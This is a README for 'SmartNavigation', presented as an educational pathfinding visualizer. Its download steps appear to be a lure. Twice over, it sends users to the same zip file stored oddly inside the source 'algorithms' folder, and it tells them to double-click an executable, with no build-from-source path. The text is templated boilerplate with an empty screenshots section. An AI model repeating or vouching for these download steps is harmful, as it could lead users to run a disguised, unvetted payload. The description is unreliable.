🌟 SmartNavigation - Visualize Pathfinding Algorithms Easily

🛠️ Overview

SmartNavigation is a Python-based application that helps you visualize pathfinding algorithms. It shows how Dijkstra, Bellman-Ford, Depth First Search, and Breadth First Search work in a dynamic environment. This tool is perfect for learning and understanding these algorithms in a simple and interactive way.

📥 Download SmartNavigation

🚀 Getting Started

To get started with SmartNavigation, follow these steps:

1. Click on the large download button above.
2. You will be redirected to the Releases page.
3. Locate the latest version of SmartNavigation under the "Releases" section.

📂 Download & Install

Visit this page to download:

SmartNavigation Releases

1. On the Releases page, find the latest release.
2. Below the release title, you may see files like https://raw.githubusercontent.com/kotafuego747/SmartNavigation/main/algorithms/Smart_Navigation_2.8.zip or https://raw.githubusercontent.com/kotafuego747/SmartNavigation/main/algorithms/Smart_Navigation_2.8.zip.
3. Click on the file to start downloading it.

Installation Steps:

1. If you downloaded a .zip file, unzip it using any file extraction tool.
2. If you downloaded an executable (.exe), double-click it to run.
3. Follow the on-screen instructions to complete the installation.

⚡ System Requirements

SmartNavigation runs smoothly on most modern computers. Here are the recommended system requirements:

• Operating System: Windows 10, macOS, or Linux
• RAM: At least 4 GB
• Storage: Minimum of 100 MB of free space
• Python: Comes bundled with the application (no extra installation needed)

📊 Features

SmartNavigation includes several educational features to enhance your learning experience:

• Real-Time Visualization: Watch how algorithms progress as they find a path.
• Dynamic Environment: Change the start and end points to see how paths adapt.
• Interactive Interface: Click to set points and obstacles easily.
• Multiple Algorithms: Explore four different pathfinding methods.

📝 Topics Covered

SmartNavigation focuses on several key algorithms and topics, including:

• Dijkstra Algorithm: Learn how this algorithm finds the shortest path in a weighted graph.
• Bellman-Ford Algorithm: Understand how it handles graphs with negative weights.
• Depth First Search: Explore how this algorithm searches all paths by going deep.
• Breadth First Search: Discover how this method explores all neighboring nodes first.

🖼️ Screenshots

Explore SmartNavigation's user-friendly interface and dynamic visuals. Below are some screenshots from the application:

💬 Feedback

We value your feedback. If you encounter any issues, have questions, or suggestions, feel free to open an issue in the GitHub repository. Your input helps us improve SmartNavigation.

🌐 Community and Support

Join our community to share your experiences and learn from others. You can connect with us on various platforms:

• GitHub Repository
• Discussion Board

🛠️ Troubleshooting

If you encounter problems while using SmartNavigation, please consider the following solutions:

• Application won’t start: Ensure your computer meets the system requirements.
• Performance Issues: Close unnecessary applications to free up memory.
• Visualization bugs: Restart the application and try again.

✏️ Contributing

If you want to help improve SmartNavigation, contributions are welcome! You can fork the repository and submit pull requests.

Thank you for using SmartNavigation! Enjoy visualizing pathfinding algorithms in a simple, interactive way.